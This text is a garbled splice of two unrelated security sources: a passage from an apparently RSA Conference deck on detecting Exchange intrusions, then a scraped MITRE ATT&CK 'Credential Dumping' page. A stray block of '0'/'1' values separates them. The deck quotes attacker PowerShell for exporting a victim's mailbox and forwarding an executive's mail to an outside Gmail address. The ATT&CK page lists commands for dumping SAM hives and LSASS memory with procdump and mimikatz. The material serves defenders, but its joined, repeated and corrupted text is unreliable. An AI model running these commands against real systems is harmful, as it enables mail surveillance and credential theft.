(compatible; MSIE 6.0; Windows NT 5.1) Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/ bot.html) These might be good indicators as is for detection over the network, but remember we are looking IIS Logs. #RSAC Detection | China Chopper User-Agents 37 In order to search/grep those User-Agents from the CAS (IIS) Logs, they need to have the spaces removed: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/ bot.html) #RSAC Detection | China Chopper User-Agents 38 In order to search/grep those User-Agents from the CAS (IIS) Logs, they need to have the spaces removed: Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1) Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com /search/spider.html) Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/ bot.html) Now these strings can grep\xe2\x80\x99d out of the CAS Logs for signs of badness. #RSAC [Web] Shell Detection 39 File Integrity Monitoring The contents of the web folders on Microsoft Exchange do not change that frequently Easily monitor for new or modified files Access Log Monitoring Look for POST requests with 200 response to never before seen files #RSAC Expert Mode: E-mail Surveillance PowerShell: Friend or Enemy? #RSAC Digital Surveillance 41 Attackers are becoming creative when it comes to leveraging e-mail for digital surveillance. Leveraging their existing foothold and highly privileged access, the bad guys are using Exchange\xe2\x80\x99s own sys admin tools against the organization Attackers are primarily conducting these operations via: \xe2\x80\x94 Shell on Exchange Server \xe2\x80\x94 Terminal Services via VPN connection \xe2\x80\x94 Command line access via existing RAT #RSAC Exchange Management 42 Attackers are directly accessing Microsoft Exchange servers via PowerShell command line interfaces or the GUI-based Management consoles to do the following: Export entire mailboxes for targeted users Assigning user accounts special permissions to access e-mail of targeted individuals (or the entire organization) Silently forward copies of all of a user\xe2\x80\x99s inbound e-mail #RSAC Mailbox Exporting Not Just for System Administrators #RSAC Mailbox Exporting 44 Mailbox exporting is a common system administration function Backup purposes Archival when user leaves organization eDiscovery APT attackers also take advantage of this great functionality Wholesale mailbox export of victim Incremental mailbox theft (since last visit) #RSAC Targeted Mailbox Theft 45 Using an OWA DLL backdoor attackers uploaded two files. The first file was; a.ps1 The file contained the following: New-MailboxExportRequest -Mailbox SmithJ - ContentFilter {((Received -gt '06/20/2015 00:00:00') - and (Received -lt '08/27/2015 23:59:58')) -or ((Sent - gt '06/20/2015 0:00:00') -and (Sent -lt '08/31/2015 23:59:58'))} -FilePath \\\\127.0.0.1\\c$\\""Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\auth\\smithj.pst #RSAC Targeted Mailbox Theft 46 The second file the attackers uploaded was called WarpPowerShell.exe This was a file that let them avoid using the built-in console and PowerShell executables. Attackers simply execute the following with SYSTEM privileges on the OWA CAS server: WarpPowershell a.ps1 #RSAC PST Exfiltration 47 The attackers then exfiltrated the file right from the /auth/ folder in the OWA Virtual Directory. u_ex150901.log:2015-09-01 11:25:10 W3SVC1 CAS01 10.120.x.x GET /owa/auth/smithj.pst - 443 \xe2\x80\x93 x.x.x.x HTTP/1.1 FDM+3.x OutlookSession=1402b4e4ccd49acddab136d59d93a21 \xe2\x80\x93 mail..org 206 0 995 6634084 295 620174 u_ex150901.log:2015-09-01 11:25:31 W3SVC1 CAS01 10.120.x.x GET /owa/auth/smithj.pst - 443 \xe2\x80\x93 x.x.x.x HTTP/1.1 FDM+3.x OutlookSession=1402b4e4ccd49acddab136d59d93a21 \xe2\x80\x93 mail..org 206 0 995 6896820 294 643012 #RSAC PST Exfiltration 48 The attackers then exfiltrated the file right from the /auth/ folder in the OWA Virtual Directory. u_ex150901.log:2015-09-01 11:25:10 W3SVC1 CAS01 10.120.x.x GET /owa/auth/smithj.pst - 443 \xe2\x80\x93 x.x.x.x HTTP/1.1 FDM+3.x OutlookSession=1402b4e4ccd49acddab136d59d93a21 \xe2\x80\x93 mail..org 206 0 995 6634084 295 620174 u_ex150901.log:2015-09-01 11:25:31 W3SVC1 CAS01 10.120.x.x GET /owa/auth/smithj.pst - 443 \xe2\x80\x93 x.x.x.x HTTP/1.1 FDM+3.x OutlookSession=1402b4e4ccd49acddab136d59d93a21 \xe2\x80\x93 mail..org 206 0 995 6896820 294 643012 #RSAC CND: Export Detection 49 There are two fairly simple ways to keep an eye out for Mailbox Exports Running a PowerShell command to show pending and successful Mailbox Exports. Event Log Monitoring #RSAC Export Detection: PowerShell 50 #RSAC Export Detection: Event Logs 51 MSExchange Management.evtx is your friend. Simple log \xe2\x80\x93 Look at Event ID: 1 Can do a search on: \xe2\x80\x9cNew-MailboxExportRequest\xe2\x80\x9d #RSAC CND: Exfil Detection 52 Looking for suspect file extensions in OWA logs is a great technique: .7z | .rar | .zip | .cab | .pst What if the attackers call the file something different? .jpg? In most cases we have observed, the exfil files have been split up into chunks and thus HTTP 206 Status Codes are logged. grep \xe2\x80\x93F \xe2\x80\x93e base/notify.wav -e \xe2\x80\x9c) 206 \xe2\x80\x9c is a perfect way to find attackers grabbing files #RSAC Digital Surveillance One Account to Rule Them All #RSAC Quite a Curious Case 54 Last year we worked on a case where multiple APT groups had broken into and compromised a U.S.-based NGO. Several malware implants on servers and workstations Two different webshells were observed (Chopper) OWA backdoored (DLL) As part of our incident investigation, we examined their available CAS logs What we found was intriguing! \xef\x81\x8a #RSAC CAS Log Analysis 55 Reviewing the CAS logs saw lots of suspect activity connections from a single external IP address (VPS) Several gigs of data being transferred All activity contains a Mac Outlook related User-Agent string Most importantly, the connection logs showed all of the connections were being made from an account named BESAdmin #RSAC Blackberry Enterprise Server Administrator 56 The besadmin a Domain [service] account used by the Blackberry Enterprise Server (BES) to send and receive e-mail on behalf of users that have a Blackberry. #RSAC Suspicious.. 57 Suspicions arise given the following: besadmin does not actually have its own mailbox Massive amounts of transfer occurred Account has the ability to read e-mail from other mailboxes At this point we assume the account is being used to read e-mails from other users Exchange Impersonation #RSAC besadmin | CAS Logs 58 Legitimate besadmin access will likely have the following characteristics Source IP of connections will be the local BES server User-Agent of connections will be NULL (autodiscover.xml) or similar to: Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client +Protocol+2.0.50727.4223) #RSAC Look what we have here 59 2015-10-16 08:18:20 10.x.x.x POST /EWS/Exchange.asmx - 80 \\BESAdmin x.x.x.x MacOutlook/14.3.2.130206+(Intel+Mac+OS+X+10.8.3) 200 0 0 328 2015-10-16 08:18:22 10.x.x.x POST /EWS/Exchange.asmx - 80 \\BESAdmin x.x.x.x MacOutlook/14.3.2.130206+(Intel+Mac+OS+X+10.8.3) 200 0 0 328 2015-10-16 08:18:24 10.x.x.x POST /EWS/Exchange.asmx - 80 \\BESAdmin x.x.x.x MacOutlook/14.3.2.130206+(Intel+Mac+OS+X+10.8.3) 200 0 0 142065 2015-10-16 08:18:47 10.x.x.x POST /EWS/Exchange.asmx - 80 \\BESAdmin x.x.x.x MacOutlook/14.3.2.130206+(Intel+Mac+OS+X+10.8.3) 200 0 0 312 x.x.x.x = External IP address from a hosting provider #RSAC Operation Extract Packets 60 The attackers are still frequently connecting in and we are performing full packet capture. It is now trivial to extract out sessions to/from the attacker\xe2\x80\x99s IP address and the Exchange Server (OWA) server. Now we have a bunch of encrypted traffic though, which still requires a bit of work to examine. #RSAC Examining Encrypted Traffic 61 When we want to look into Exchange/OWA sessions, we of course need to decrypt the traffic In order to do this we need two things: Full packet capture of the sessions of interest (we have this already) The private key associated with the certificate on the mail server \xe2\x80\x94 This is easily exported from Windows and the private key can be converted to a format that can be used to decrypt (RSA) #RSAC Packets and Certificate.. Now what? 62 Now that we have the traffic and the private key, we still need a tool to decrypt the it. These are a few of the tools we can use to assist us: Wireshark Tshark ChopShop Dshell #RSAC Decrypted Traffic 63 POST /EWS/Exchange.asmx HTTP/1.1 User-Agent: MacOutlook/14.3.2.130206 (Intel Mac OS X 10.8.3) Content-Type: text/xml Authorization: Negotiate Host: Cookie: exchangecookie= Content-Length: 610 Expect: 100-continue HTTP/1.1 100 Continue #RSAC Decrypted POST Data 64 firstname.lastname@< removed>.com< m:FolderShape>IdOnly #RSAC Decrypted POST Data 2 65 IdOnlyfirstname.last name@.com #RSAC Daily Exfiltration 66 Traffic decryption confirmed our suspicion that the attackers were pulling down e-mail for multiple mailboxes Attackers were reading e-mail for 25 employees Included C-level executives and people in positions relevant to what we believe the attackers are after E-mail was downloaded nearly daily for each of the users with a full sync of their mailbox Inbox, Sent, Deleted Items, Calendar, etc. #RSAC Getting Read or Full Access 67 When using the BESAdmin account, attackers likely already have rights to read e-mail of everyone However, the attackers also created an account \xe2\x80\x9cEmailSyncSvc\xe2\x80\x9d and assigned it access to user mailboxes We have also seen random valid user assigned special access In this instance they opted to give themselves access to all mailboxes instead of just to the users they were interested in This actually makes proactively detecting this behavior easier #RSAC CND: Checking Mailbox Permissions 68 Launching EMS and executing a query to list out all mailbox permissions is a great way to find accounts with access they should not have. This can be done on each account one-by-one in the Exchange Management Console or on all accounts with PowerShell via the Exchange Management Shell #RSAC EMS Get-MailboxPermission 69 #RSAC Exchange Management Shell 70 The resulting output will show data for each account similar to: "".com/Media Staff/media"",""\\EmailSyncSvc"",""FullAcces s\xe2\x80\x9d "".com/Media Staff/media"",""\\BESAdmin"",""FullAccess\xe2\x80\x9d "".com/Media Staff/media"",""\\Domain Admins"",""FullAccess\xe2\x80\x9d "".com/Media Staff/media"",""\\Enterprise Admins"",""FullAccess"" #RSAC Prolonged Access to E-mail PowerShell and Mailbox Forwarding #RSAC Silent Access to E-mail? 72 What if an attacker could continually read the e-mail critical personnel without: Accessing the target\xe2\x80\x99s computer Logging into an e-mail server Leveraging malware Creating any sort of connection into the victim\xe2\x80\x99s network #RSAC Executives Targeted 73 Turns out the bad guys have a few tricks up their sleeves and have used a technique to do everything on the previous slide C-Suite and other top executives targeted Copies of all inbound e-mail sent to attackers The targets, the IT Support staff, Exchange Administrators, and IT Security team had no idea #RSAC Exchange Management Console Fun 74 [PS] Set-Mailbox -Identity \xe2\x80\x9dHillary Clinton"" - DeliverToMailboxAndForward $true - ForwardingSMTPAddress \xe2\x80\x9dbadguy44@gmail.com\xe2\x80\x9d Target Exchange MailboxPS Cmdlet to Modify Mailbox Delivers E-mails to Hillary\xe2\x80\x99s Inbox and Forwards a copy to badguy44@gmail.com mailto:sadair@volexity.com #RSAC Forwarded Mailbox Detection 75 Simple.. What can be setup with PowerShell, can be found with PowerShell [PS] Get-Mailbox | Where {($_.ForwardingSMTPAddress -ne $null)} | Select Name, ForwardingSMTPAddress, DeliverToMailboxAndForward #RSAC Forwarded Mailbox Results 76 Sample output from PS query Name ForwardingSMTPAddress DeliverToMailboxAndForward ---- --------------------- -------------------------- Hillary Clinton smtp:badguy44@gmail.com True #RSAC PowerShell Virtual Directory Exchange Remote Backdoor #RSAC Exchange PowerShell Virtual Directory 78 #RSAC Connecting to Remote PowerShell 79 #RSAC Closing 80 As you can see, attackers have a lot of ways to attack Exchange They also have a vested interest in doing so Many attacks against Exchange go unnoticed for many reasons: Extremely busy and high traffic server(s) Encrypted communication (SSL/TLS) Lack of familiarity with the signs of compromise Building defenses and treating Exchange servers like one of the organization\xe2\x80\x99s crown jewels is the best way to stat ahead of the threat Logging, monitoring, and 2FA are the way to go #RSAC PowerShell Cheat Sheet URL: https://www.volexity.com/rsa/powershell.txt 81 Thank You for Attending! Contact: sadair@volexity.com @stevenadair | @volexity mailto:sadair@volexity.com Detecting and Responding to Advanced Threats within Exchange Environments About Me Agenda Applying Knowledge from Today\xe2\x80\x99s Presentation Microsoft Exchange Why Exchange? Why Exchange? Cont\xe2\x80\x99d\xe2\x80\xa6 Easy Mode: Phishing Webmail Phishing \xe2\x80\x93 Keep it Simple Who Phishes? Phishing Page? Real or Fake? APT Webmail Phishing: Wekby Wekby: Past Campaigns (Public) Wekby: Malware Only -> Phishing Wekby Malware Campaign Simultaneous OWA Phishing Campaign Wekby OWA Phishing Website Wekby: Malware Only -> Phishing Easy Mode APT Phishing Defenses Two-Factor OWA: Duo Post-Login Advanced Mode: [Web] Shells Shell, Shells, and More Shells ASP.NET Webshell OWA Access and Shell Placement Shell Disk Placement Custom .NET DLL Backdoors! How do they do it? web.config | Bonus Module! Microsoft.Exchange.Clients.Auth.dll Microsoft.Exchange.Clients.Auth.dll Notes on the new version Notes on the new version \xe2\x80\x93 log.txt Features and Capabilities Interesting pdb strings Logged! China Chopper User-Agents Detection | China Chopper User-Agents Detection | China Chopper User-Agents [Web] Shell Detection Expert Mode: E-mail Surveillance Digital Surveillance Exchange Management Mailbox Exporting Mailbox Exporting Targeted Mailbox Theft Targeted Mailbox Theft PST Exfiltration PST Exfiltration CND: Export Detection Export Detection: PowerShell Export Detection: Event Logs CND: Exfil Detection Digital Surveillance Quite a Curious Case CAS Log Analysis Blackberry Enterprise Server Administrator Suspicious.. besadmin | CAS Logs Look what we have here Operation Extract Packets Examining Encrypted Traffic Packets and Certificate.. Now what? Decrypted Traffic Decrypted POST Data Decrypted POST Data 2 Daily Exfiltration Getting Read or Full Access CND: Checking Mailbox Permissions EMS Get-MailboxPermission Exchange Management Shell Prolonged Access to E-mail Silent Access to E-mail? Executives Targeted Exchange Management Console Fun Forwarded Mailbox Detection Forwarded Mailbox Results PowerShell Virtual Directory Exchange PowerShell Virtual Directory Connecting to Remote PowerShell Closing Thank You for Attending!","0","1","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Credential Dumping - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Credential Dumping Credential Dumping Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform\xc2 Lateral Movement\xc2 and access restricted information. Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well. Windows SAM (Security Accounts Manager) The SAM is a database file that contains local accounts for the host, typically those found with the \xe2\x80\x98net user\xe2\x80\x99 command. To enumerate the SAM database, system level access is required.\xc2 A number of tools can be used to retrieve the SAM file through in-memory techniques: pwdumpx.exe gsecdump Mimikatz secretsdump.py Alternatively, the SAM can be extracted from the Registry with Reg: reg save HKLM\\sam sam reg save HKLM\\system system Creddump7 can then be used to process the SAM database locally to retrieve hashes. [1] Notes:Rid 500 account is the local, in-built administrator.Rid 501 is the guest account.User accounts start with a RID of 1,000+. Cached Credentials The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\xc2 A number of tools can be used to retrieve the SAM file through in-memory techniques. pwdumpx.exe gsecdump Mimikatz Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials. Notes:Cached credentials for Windows Vista are derived using PBKDF2. Local Security Authority (LSA) Secrets With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\xc2 When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\xc2 A number of tools can be used to retrieve the SAM file through in-memory techniques. pwdumpx.exe gsecdump Mimikatz secretsdump.py Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials. Notes:The passwords extracted by his mechanism are\xc2 UTF-16\xc2 encoded, which means that they are returned in\xc2 plaintext.Windows 10 adds protections for LSA Secrets described in Mitigation. NTDS from Domain Controller Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. [2] The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. Volume Shadow Copy secretsdump.py Using the in-built Windows tool, ntdsutil.exe Invoke-NinjaCopy Group Policy Preference (GPP) Files Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts. These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. [3] [4] The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: Metasploit\xe2\x80\x99s post exploitation module: ""post/windows/gather/credentials/gpp"" Get-GPPPassword [5] gpprefdecrypt.py Notes:On the SYSVOL share, the following can be used to enumerate potential XML files.dir /s * .xml Service Principal Names (SPNs) See Kerberoasting. Plaintext Credentials After a user logs on to a system, a variety of credentials are generated and stored in the\xc2 Local Security Authority Subsystem Service\xc2 (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM. SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs):\xc2 A Security Support Provider is a\xc2 dynamic-link library\xc2 (DLL) that makes one or more security packages available to applications. The following SSPs can be used to access credentials: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. [6]Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.CredSSP: \xc2 Provides SSO and\xc2 Network Level Authentication\xc2 for\xc2 Remote Desktop Services. [7]\xc2 The following tools can be used to enumerate credentials: Windows Credential Editor Mimikatz As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: procdump -ma lsass.exe lsass_dump Locally, mimikatz can be run: sekurlsa::Minidump\xc2 lsassdump.dmp sekurlsa::logonPasswords DCSync DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) [8] [9] [10] [11] to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data [12] from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket [13] or change an account's password as noted in Account Manipulation. [14] DCSync functionality has been included in the ""lsadump"" module in Mimikatz. [15] Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. [16] Linux Proc filesystem The /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the MimiPenguin, an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts. ID:\xc2 T1003 Tactic: Credential Access Platform:\xc2 Windows, Linux, macOS Permissions Required:\xc2 Administrator, SYSTEM, root Data Sources:\xc2 API monitoring, Process monitoring, PowerShell logs, Process command-line parameters CAPEC ID: CAPEC-567 Contributors:\xc2 Vincent Le Toux; Ed Williams, Trustwave, SpiderLabs Version:\xc2 1.0 Mitigations Mitigation Description Active Directory Configuration Manage the access control list for \xe2\x80\x9cReplicating Directory Changes\xe2\x80\x9d and other permissions associated with domain controller replication. [20] [21] Credential Access Protection With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping. [18] [19] Operating System Configuration Consider disabling or restricting NTLM. [23] Password Policies Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Privileged Account Management >Windows Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Linux Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory. [17] Privileged Process Integrity On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. [22] User Training Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts. Examples Name Description APT1 APT1 has been known to use credential dumping. [27] APT28 APT28 regularly deploys both publicly available and custom password retrieval tools on victims. [99] [100] APT3 APT3 has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument ""dig."" The group has also used a tools to dump passwords from browsers. [89] APT32 APT32 used Mimikatz, GetPassword_x64, and customized versions of Windows Credential Dumper, HookChangePassword, and Outlook Credential Dumper to harvest credentials. [106] [107] APT33 APT33 has used a variety of publicly available tools like LaZagne, Mimikatz, Gpppassword, SniffPass, and ProcDump to dump credentials. [112] [68] APT37 APT37 has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers. [77] APT39 APT39 has used Mimikatz, Ncrack, Windows Credential Editor and ProcDump to dump credentials. [110] Astaroth Astaroth uses an external software known as NetPass to recover passwords. [69] Axiom Axiom has been known to dump credentials. [80] Backdoor.Oldrea Some Backdoor.Oldrea samples contain a publicly available Web browser password recovery tool. [43] BRONZE BUTLER BRONZE BUTLER has used various tools to perform credential dumping. [87] Cachedump Cachedump can extract cached password hashes from a system\xe2\x80\x99s registry. [27] Carbanak Carbanak obtains Windows logon password details. [50] ChChes ChChes steals credentials stored inside Internet Explorer. [54] Cleaver Cleaver has been known to dump credentials. [44] Cobalt Strike Cobalt Strike can recover hashed passwords. [35] CosmicDuke CosmicDuke collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys. [46] CozyCar Password stealer and NTLM stealer modules in CozyCar harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication. CozyCar has also executed Mimikatz for further victim penetration. [59] Crimson Crimson contains a module to steal credentials from Web browsers on the victim machine. [49] Daserf Daserf leverages Mimikatz and Windows Credential Editor to steal credentials. [51] Dragonfly 2.0 Dragonfly 2.0 dropped and executed SecretsDump and CrackMapExec, tools that can dump password hashes. [74] [75] [76] Emotet Emotet has been observed dropping browser and password grabber modules including Mimikatz. [65] Empire Empire contains an implementation of Mimikatz to gather credentials from memory. [41] Fgdump Fgdump can dump Windows password hashes. [27] FIN5 FIN5 has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials. [91] [92] FIN6 FIN6 has used Windows Credential Editor for credential dumping, as well as Metasploit\xe2\x80\x99s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database. [104] [105] FIN8 FIN8 harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE). [96] GreyEnergy GreyEnergy has a module for Mimikatz to collect Windows credentials from the victim\xe2\x80\x99s machine. [58] gsecdump gsecdump can dump Windows password hashes and LSA secrets. [28] H1N1 H1N1 dumps usernames and passwords from Firefox, Internet Explorer, and Outlook. [47] HOMEFRY HOMEFRY can perform credential dumping. [45] HOPLIGHT HOPLIGHT has the capability to harvest credentials and passwords. [70] Impacket SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information. [31] Ke3chang Ke3chang has dumped credentials, including by using Mimikatz. [84] [85] Koadic Koadic can gather hashed passwords by dumping SAM/SECURITY hive and gathers domain controller hashes from NTDS. [34] KONNI KONNI can steal profiles (containing credential information) from Firefox, Chrome, and Opera. [63] LaZagne LaZagne can perform credential dumping to obtain account and password information. [24] Lazarus Group Lazarus Group leveraged Mimikatz to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers. [95] Leafminer Leafminer used several tools for retrieving login and password information. 